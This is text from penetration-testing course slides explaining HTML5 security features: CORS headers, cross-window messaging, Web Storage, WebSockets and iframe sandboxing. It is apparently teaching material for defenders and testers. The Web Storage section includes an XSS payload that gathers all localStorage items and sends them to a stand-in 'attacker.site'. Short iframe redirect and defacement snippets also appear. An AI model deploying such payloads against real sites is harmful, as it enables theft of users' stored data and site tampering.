9.1.

Cross Origin Resource Sharing (CORS)

9.2. Cross Windows Messaging

9.3. Web Storage

9.4. WebSockets

9.5. Sandboxed frames

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
The same origin policy (SOP) is a policy implemented by
browsers to prevent interactions between resources of
different origin.
As noted in the Introduction module, CSS stylesheets, images
and scripts are loaded without checking the SOP. The same
origin policy is consulted when cross-site HTTP requests are
initiated by client-side scripts.
Example:
Browsers check the SOP when performing AJAX
requests.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
• A script on index.html hosted on the domain
domain1.com cannot access (by means of an Ajax
request (XHR)) the home.html page on domain2.com
The browser successfully performs the HTTP request
however, it cannot access the response.

XHR GET (http://domain2.com/home.html)

domain1.com Domain2.com

page1.aspx index.html home.html page.aspx

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Although SOP is necessary for many reasons, it becomes very
restrictive when two entities hosted on different domains
need to establish some kind of interaction.
Two different origins cannot interact one with each other
even if they have mutual trust.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Within the Flash security model, a method to bypass the
same origin policy has already been developed.

Example:
An SWF animation on the origin a.com can access via
Actionscript resources such as images and audio files on a
different origin, b.com. This can happen only if the
crossdomain.xml file allows this operation.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Example:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

CORS is a mechanism defined by the W3C here. It enables
client-side cross-origin requests. The document describes
how the browser and the web server must communicate one
with each other to bypass the SOP. It also explains which
HTTP headers must be used to do so.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

These HTTP headers are not part of the HTTP/1.1 standard.
They’re called Control Access Headers and will be described
thoroughly in the next chapters.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The CORS standard is used to enable cross-origin HTTP
requests for:
• Ajax requests (through the XMLHttpRequest API)
• Web Fonts (for cross-domain font inclusion via @font-
face within a CSS)
• WebGL textures
• Images drawn using the drawImage API

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In our examples, we will deal only with cross-origin Ajax
requests.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

According to caniuse.com, currently CORS is supported by all
browsers except Opera Mini.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us take a look at a typical JavaScript piece of code used to
perform a cross-origin Ajax request.
Suppose that the function crossOriginXHRGet is defined
into the page at the URL
http://origina.ori/index.html

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Cross Origin Ajax Request:

function crossOriginXHRGet(){
var xmlhttpr = new XMLHttpRequest();
var url = 'http://originb.ori/page.html';
xmlhttpr.open('GET', url, true);
xmlhttpr.onreadystatechange = handler;
xmlhttpr.send(body);
}

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Ajax request is cross-origin because the requester origin
is different from the target origin:
• Requester origin: http://origina.ori
• Target origin: http://originb.ori

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Abiding by SOP, the function handler cannot use JavaScript to
read the page contents at
• http://originb.ori/page.html.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This kind of access to a resource is possible only if the HTTP
CORS headers are used and set properly.
In the following chapters, we will examine all the HTTP CORS
headers and see how to configure them to allow CORS.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

First, we need to know the different types of cross-origin
requests that a browser can send.
Depending upon the request type, the exchanged headers
will vary. There are:
• Simple requests
• Preflight requests
• Requests with credentials

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A cross-origin request is a Simple request if:
• It only uses GET, HEAD or POST HTTP methods . If the
request method is POST, the Content-Type HTTP header
must be one of the following:
• application/x-www-form-urlencoded
• multipart/form-data
• text/plain
• It does not set custom HTTP headers (I.e.: headers that are
not defined within the HTTP/1.1 specs).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A cross-origin request is a Preflight request when it is not a
Simple request.
Let us see some examples:
• A PUT request
• A POST request with Content-type set to
application/xml
• A GET request with a custom header such as X-
PINGOTHER

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Unlike simple requests, preflight requests need to send two
HTTP requests.
The first request is an HTTP OPTIONS request which the
browser sends to the target resource. This is necessary to
determine whether the actual request is considered safe by
the web server.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The browser and web server use the HTTP Origin headers to
negotiate permissions.
We will deal with these headers in-depth in the next chapter.
They are called control access headers.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

By the use of the HTTP response header
Access-Control-Max-Age, the browser will cache the
result of the OPTIONS request.
This way, the browser can avoid sending lots of extra HTTP
requests for the subsequent requests.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In the following example we will see how a preflight
invocation works.

Consider the following JavaScript code used by a script

(running on http://origina.ori) to invoke a cross-origin
DELETE Ajax request.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Example:

var xmlhttpr = new XMLHttpRequest();

var url = 'http:// originb.ori/file.html';
function handler(){
. . . .
}
function deleteResource(){
xmlhttpr.open('DELETE', url, true);
xmlhttpr.setRequestHeader('Front-End-Https', on');
xmlhttpr.onreadystatechange = handler;
xmlhttpr.send(body);
}

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Ajax request is a DELETE request and it will send a non-
standard HTTP header (Front-End-Https) therefore, it
must be handled as a preflight request.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The browser will send two different HTTP requests:
OPTIONS /file.html HTTP/1.1
Host: originb.ori
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://origina.ori
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Front-End-Https

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The response will be checked by the browser to make sure
that the web server allows the request type.
Example:

The following response will allow the origin

http://origina.ori to perform an Ajax cross-
origin request (POST, GET , OPTIONS or DELETE)
including the Front-End-Https header.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
HTTP/1.1 200 OK
Date: Mon, 11 Feb 2013 09:00:01 GMT
Server: Apache/2.0 (Unix)
Access-Control-Allow-Origin: http://origina.ori
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Allow-Headers: Front-End-Https
Access-Control-Max-Age: 3600
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

DELETE /file.html HTTP/1.1
Host: originb.ori
User-Agent: Mozilla/5.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Front-End-Https: on
Content-Type: text/xml; charset=UTF-8
Referer: http://origina.ori/index.html
Origin: http://origina.ori

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The web server allows the DELETE request because, it both
allows the HTTP Verb and because it comes from an
authorized origin.
After receiving the second request, it will delete the resource
file.html.
If the web server had forbidden the request, the real HTTP
DELETE request would not have even been sent by the
browser.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

By default, in cross origin Ajax request invocations, browsers
do not send credentials. HTTP cookies and HTTP
authentication information are both considered credentials
therefore, if a developer decides to include credentials, he
must set the flag withCredentials during the XHR
invocation.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The following JavaScript code shows it in action:
<script type="text/javascript">
function handler() {
. . .
}

var xhr = new XMLHttpRequest();

xhr.open("GET", "http://originb.com/home.html", true);
xhr.withCredentials = true;
xhr.onreadystatechange = handler;
xhr.send();
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Access control headers dictate how the browser has to treat
cross origin requests.
In the next slides you will study the following headers:
• Access-Control-Allow Origin
• Access-Control-Allow-Credentials
• Access-Control-Allow-Headers
• Access-Control-Allow-Methods
• Access-Control-Max-Age
• Access-Control-Expose-Headers
• Origin
• Access-Control-Request-Method
• Access-Control-Request-Header
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Access-Control-Allow-Origin is the most important
HTTP response header; it’s set by the target origin to allow
access from a specific requester origin.
The format is the following:

Access-Control-Allow-Origin: <allowedOrigin>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The origin domain2.com permits access from the origin
domain1.com, so the cross-origin XHR succeeds.

domain1.com XHR GET (http://domain2.com/home.html) domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:

Access-Control-Allow-Origin: domain1.com

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The origin domain2.com permits access only from the origin
domain3.com, so the cross-origin XHR fails. The HTTP request
is performed successfully but, the response cannot be
accessed by the browser.

domain1.com XHR GET (http://domain2.com/home.html) domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:
Access-Control-Allow-Origin: domain3.com
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
The target origin can specify a wildcard (*).
This would permit external scripts hosted on any site to
access resources from the target origin.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The target origin can be accessed by any origin so the cross-
origin XHR succeeds.

domain1.com XHR GET (http://domain2.com/home.html) domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:

Access-Control-Allow-Origin: *

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A typical security issue occurs when an origin containing
sensitive documents can be accessed by all origins.
This would permit an attacker to steal all information
contained in the origin simply by getting the victim to visit a
crafted website under his control.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Allow-Credentials HTTP
response header sent by the target origin to the requester
indicates that the actual request can be made with
credentials.
By default the requester origin (the requester’s browser) does
not send credentials to the target origin.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If a requester origin needs to send credentials, it must set the
withCredentials flag.
Example:
<script type="text/javascript">
function handler() {
. . .
}

var xhr = new XMLHttpRequest();

xhr.open("GET", "http://originb.com/home.html", true);
xhr.withCredentials = true;
xhr.onreadystatechange = handler;
xhr.send();
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Example 1:

In the following example, origin domain1.com requests

(withCredentials) the origin domain2.com.
The origin domain2.com allows domain1.com to read the
requested content and allows the access with credentials.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

• Here you can see the messages in action:

XHR GET (http://domain2.com/home.html)

Cookie: PHPSESSID=bit29ejso1231q6k60f8vfn0
domain1.com domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:

Access-Control-Allow-Origin:http://domain1.com
Access-Control-Allow-Credentials:true

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Example 2:

In this other example, origin domain1.com requests

(withCredentials) the origin domain2.com.
Origin domain2.com allows domain1.com to read the
requested content but does not accept the credentials
because the request does not include the Access-
Control-Allow-Credentials header.
So the browser performs the HTTP request successfully but
cannot access the response.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
• Let us see how it works:

XHR GET (http://domain2.com/home.html)

domain1.com Cookie: PHPSESSID=bit29ejso1231q6k60f8vfn0 domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:

Access-Control-Allow-Origin:http://domain1.com

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

For security reasons, a target origin cannot specify that a
resource is both accessible by any other origin and that it
accepts credentials.
In other words, the following headers will never be sent
together:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Allow-Headers HTTP response
header is sent by the target origin to the requester during
preflight requests. It indicates which non-standard HTTP
headers can be sent in the actual request.

Access-Control-Allow-Headers: [<field-name>][, <field-name>][*]

Access-Control-Allow-Headers: X-PINGOTHER

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Allow-Methods HTTP response
header is sent by the target origin to the requester during
preflight requests. It indicates which HTTP methods can be
used during the actual request.

Access-Control-Allow-Methods: [<method>][, <method>][*]

Access-Control-Allow-Methods:POST, GET, DELETE

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Max-Age HTTP response header is
sent by the target origin to the requester during preflight
requests. It indicates how long the results of a preflight
request can be cached.

Access-Control-Max-Age: <deltaSeconds>

Access-Control-Expose-Headers: 7200

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Expose-Headers HTTP response
header sent by the target origin to the requester indicates
which headers can be accessed by the browser.

Access-Control-Expose-Headers: [<MyHeader1>][<MyHeader2>][*]

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A cross-origin request includes an extra HTTP header named
Origin.
This header is always sent and contains the origin (protocol,
domain name and port) of the request. Although it is always
sent, it is useless for the authorization protocol.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Request-Method HTTP request
header is sent by the requester origin during preflight
requests. It is sent within the OPTIONS request and specifies
what method the requester is going to use during the actual
request.

Access-Control-Request-Method: <field-name>

Access-Control-Request-Method: PUT

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The browser will analyze the
Access-Control-Allow-Methods HTTP response header
to check whether the method is considered safe or not.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The Access-Control-Request-Headers HTTP request
header is sent by the requester origin during preflight
requests. It is sent within the OPTIONS request and specifies
which non-standard headers the requester is going to use
during the actual request.

Access-Control-Request-Headers: <field-name>[, <field-name>]*

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 Example:

If a browser sends a request containing:

Access-Control-Request- Headers: X-PINGOTHER

Then it will analyze the Access-Control-Allow-Headers

HTTP response header to check whether the headers sent are
considered safe by the web server.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
HTML5 allows iframes, frames, popups and the current
window to communicate one with each other, regardless of
the same origin policy, by using a mechanism known as Cross
Window Messaging.
When using this feature, two windows that have some kind of
relationship can exchange messages.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Typical relationships between two windows are:
• A main window including an iframe
• A main window including some HTML code that generates
a popup
A window or a tab in your browser cannot interact with other
windows unless they have a relationship.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A window can send messages to another window by using
the postMessage API call. The sender window (hosted at
http://domain1.com) will run some code similar to the
following.
<button onclick="openPopup()">Open</button>
<button onclick="sendCustomMessage()">Send</button>
<script>
function openPopup() {
popup = open("http://target.site/to.php");
}

function sendCustomMessage() {
popup.postMessage("Hi there!", "http://victim.site/to.php");
}
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Analogously, a window is allowed to receive messages from
another window if a handler, related to the message event,
has been installed.

<script>
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
if (event.origin !== "http://trusted.site") {
console.log("Message from a unauthorized origin!");
return;
}
console.log("Message received")
}
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A typical security issue occurs when the receiver window
does not check the origin of the sender when receiving a
message. With this poor configuration, the receiver window
could interact with any sender regardless of whether it is
trusted or not.
A good practice is to always filter the senders by checking
their origin.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 Example:

The following code accepts messages from every source!

<script>
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
console.log("Message received")
// Do some actions
// . . .
}
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 Example:

While this piece of code verify is the message source is

trusted.
<script>
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
if (event.origin !== "http://trusted.site") {
console.log("Message from a unauthorized origin!");
return;
}
// Do some actions
// . . .
}
</script>
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Another security issue regards message content filtering. If
the message is used to build the page output, an attacker
could exploit cross site scripting in the source domain to
perform cross origin XSS!!!
The attacker has just to exploit an XSS vulnerability in the
source domain and build some JavaScript code to send a
malicious message.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
HTML5 allows websites to store data locally in the browser.
This is done by accessing the localStorage and the
sessionStorage objects via JavaScript.
The concept of persistent data in the browser environment
could mistakenly lead us to associate this type of storage with
cookies.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us explain the differences:
• Size: cookie size is limited to 4KB, while localStorage size
ranges from 5MB to 10MB (depending on the browser
implementation)
• Interface: cookies are accessed by client/server and
transferred over HTTP connections, localStorage is
known only to the browser
• Data model: cookies represent a complex structure by
using different fields, while web storage provides a simpler
interface by using an associative array data model.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
HTML5 distinguishes two different storage models:
local storage and session storage. Session storage is less
persistent than local storage. They are conceptually very
similar except for a few key differences (scope and lifetime).
Let us take a look.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 Local storage is a persistent JavaScript object used as local
repository.
HTML pages loaded by the browser and
sharing the same origin will use the same
domain1.com local storage object: so if page1.html
Local
Storage updates local storage, index.html from the
same origin, will be able to read the
page1.html index.html
modified storage object.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This storage is persistent and will be deleted when one of the
following events occur:
• The web application deletes storage through
localStorage API calls
• The user deletes storage using the browser cleaning
feature
• For example through the Clear Recent History feature

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 Session storage is bound to the
browser window where a website is
open. If a browser has ten tabs pointing
domain1.com
to the same URL:
Session
Storage
Session
Storage
http://domain1.com/index.html
Session each of them will have its own
Storage
sessionStorage object, each one
page1.html home.html
distinct from the others.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This storage is deleted when one of the following events
occurs:
• The web application deletes storage through
sessionStorage API calls
• The user deletes storage through the browser cleaning
feature
• A For example through the Clear Recent History feature
• The user closes the browser window
• In other words, the session storage is limited to the window lifetime

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Note that when a user refreshes the browser page, the
sessionStorage object is kept.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Local storage can be accessed via JavaScript through the
localStorage object.
Web developers do not need to manage this storage directly
but they can add and remove elements using the web storage
API.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

You can add an item to the localStorage by using the
setItem API call by providing a key and a value for the
inserted element.

localStorage.setItem('username','jsmith');

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To retrieve an item from the localStorage you must use
the getItem API call, specifying the key of the element you
want to retrieve.

var usrname = localStorage.getItem('username');

console.log(usrname);
// prints: jsmith

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To remove an item from the localStorage you must use
the removeItem API call.

localStorage.removeItem('username');
console.log(localStorage.getItem('username'));
// prints null

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To clear the localStorage content you can use the clear
API call. All items in the localStorage will be deleted.

localStorage.clear()

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Session storage can be accessed via JavaScript through the
sessionStorage object.
Web developers can manage the sessionStorage via the
same API interface of the localStorage:
• setItem
• getItem
• removeItem
• clear

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Storage objects (both localStorage and
sessionStorage) are managed via JavaScript, so they can
be stolen through XSS attacks.
If an attacker exploits an XSS flaws in a page of a specific
domain, they will be able to steal the instances of
localStorage and sessionStorage objects related to
that origin.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This script cycles through the storage and then submits it to
an attacker controlled site:
<script>
var i = 0;
var stor = "";
var img = new Image();
while (localStorage.key(i) != null)
{
var key = localStorage.key(i);
stor += key + ": " + localStorage.getItem(key)) + "\n";
i++;
}
img.src="http://attacker.site?steal.php?storage=" + stor;
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
During the evolution of the web, the need for low latency and
high throughput applications such as social network chats
emerged.
In the past these application were relying on polling done by
means of standard HTTP requests. This method had a huge
overhead on the network and added latency issues.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To overcome these limitations W3C group has standardized
on a new protocol to meet real-time web application needs.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The WebSocket protocol features:

Connection established by upgrading an existing HTTP connection to

WebSocket

Supported by browsers
• ws:// for WebSockets
• wss:// for Secure WebSockets

HTTP standard ports 80,443

• This means: no firewall issues for the users

Full-duplex
• The protocol allows communication in both directions simultaneously

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Through the WebSocket protocol, real-time applications can
take advantage of the following benefits:
• Minimal packet overhead
• 2 bytes per packet (at the application layer)
• No polling overhead
• A client sends data only when it has something to send
• Real TCP connections allows low latency

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To connect to a WebSocket server, use the following
constructor:
var ws = new WebSocket('ws://<WebSocketServerURL>');

To receive notifications about the opened connection use the

onopen event listener:
ws.onopen = function(e) {
alert("Connection established");
// send a message
this.send('<your message>');
}

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To receive notifications about new messages use the
onmessage event listener:

ws.onmessage = function(e) {
alert("Received message");
// read the message
var msg= e.data;
alert(msg);
}

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

WebSockets do not create security pitfalls per se, as much as
HTTP does not pose security issues.
What they carry from a domain to another one is a
completely different thing. If developers do not sanitize the
content of the messages exchanged via WebSockets, they
could permit be used to perform a variety of attack such as
XSS, localStorage stealing, SQL injections and more depending
on the specific web application.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
In this chapter, we will see some security issues that have
been fixed with the introduction of HTML5.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A classic issue occurs when a website hosts third-party
contents through iframes. Despite the Same Origin Policy, the
location property of each document is always writable
(location is an exception to the SOP). This could be dangerous
for the website which includes an iframe.
Example:
An iframe could redirect visitors to an arbitrary
website by simply setting the location property of
its parent document.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
 Example:

If a web page (index.html) includes an attacker controlled

page (evil.html) in an iframe, the attacker can change
the window.location and redirect users to an attacker-
controlled site (http://attacker.site/).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

• Every visitor of http://domain1.com/index.html
will be redirected to http://attacker.site/

<iframe src="http://domain2.com/home.html"/>
domain1.com domain2.com

page1.aspx index.html home.html page.aspx

<script>
window.parent.location='http://attacker.site/';
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The previous attack is possible because:
• The target website hosts the attackers iframe
• The target website does not prevent an attacker from
changing the location property

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A rudimentary technique of preventing this, consists of
installing a special event (onbeforeunload) in the main
document hosting the iframes.
The event will be triggered when the attacker's iframe tries to
change the parent document location property.
By using this technique, the main document can only inform
the visitor that the page is being changed.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This is not a real solution however, It is a way to inform the
visitor that someone is trying to redirect him. It actually does
not even block the redirection.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Moreover, if the main document and the iframe are located
on the same origin, they can access each other.
The iframe document could change the contents of the main
document, using the same technique used by the
defacement-via-XSS attack family.
Example:

<script>
window.parent.document.body.innerHTML = 'defaced';
</script>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This could be dangerous in the presence of multiple
vulnerabilities.
For example in a scenario where:
• the attacker succeeds in exploiting a persistent XSS in the
vulnerable.html page
• the vulnerable.html page is included through an iframe
into the index.hmtl page

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker first exploits a persistent XSS, then the malicious
code is run inside index.html, thus running the defacement
code.
<script>
window.parent.document.
body.innerHTML="defaced";
domain1.com </script>

index.html vulnerable.html

<iframe src="http://domain1.com/vulnerable.htlm" />

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
To understand the attack, consider that:
• The index.html page includes the page vulnerable.html
through an iframe.
• The JavaScript code on the iframe can access the parent
document (index.html) because of the same origin policy
therefore, the iframe can change the main document’s
contents.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The victim opens the index.html page and sees a website,
apparently defaced.

domain1.com

index.html iframe.html

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Before the introduction of HTML5, the main document was
not able to prevent the iframe from running JavaScript.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The sandbox attribute is a new attribute of the element
iframe .
It has been introduced by the HTML5 specs, and enables
restrictions on iframe contents.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

When the sandbox attribute is set to an empty value, all the
following restrictions on iframe content apply:
No links can target
other browsing
Features that trigger contexts
Forms, scripts and
automatically are • For example, a link clicked
plugins are disabled
blocked on in an iframe cannot open
the page in the context of
the parent document.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

By default, the sandbox attribute denies all.
The attribute can also specify a set of flags, allowing some of
the features above.
For example:
 ALLOW-SCRIPT
• This flag allows script execution
 ALLOW-FORMS
• This flag allows form submission
 ALLOW-TOP-NAVIGATION
• This flag allows the iframe content to navigate its top-level browsing
context.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
 HTTP access control
CORS
(CORS)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

HTML5 - CORS

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 HTML5 labs
In these HTML5 labs, the student can
practice attacking techniques against
HTML5 features such as CORS, Local
storage and Cross Windows Messaging

Powered by TCPDF (www.tcpdf.org)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015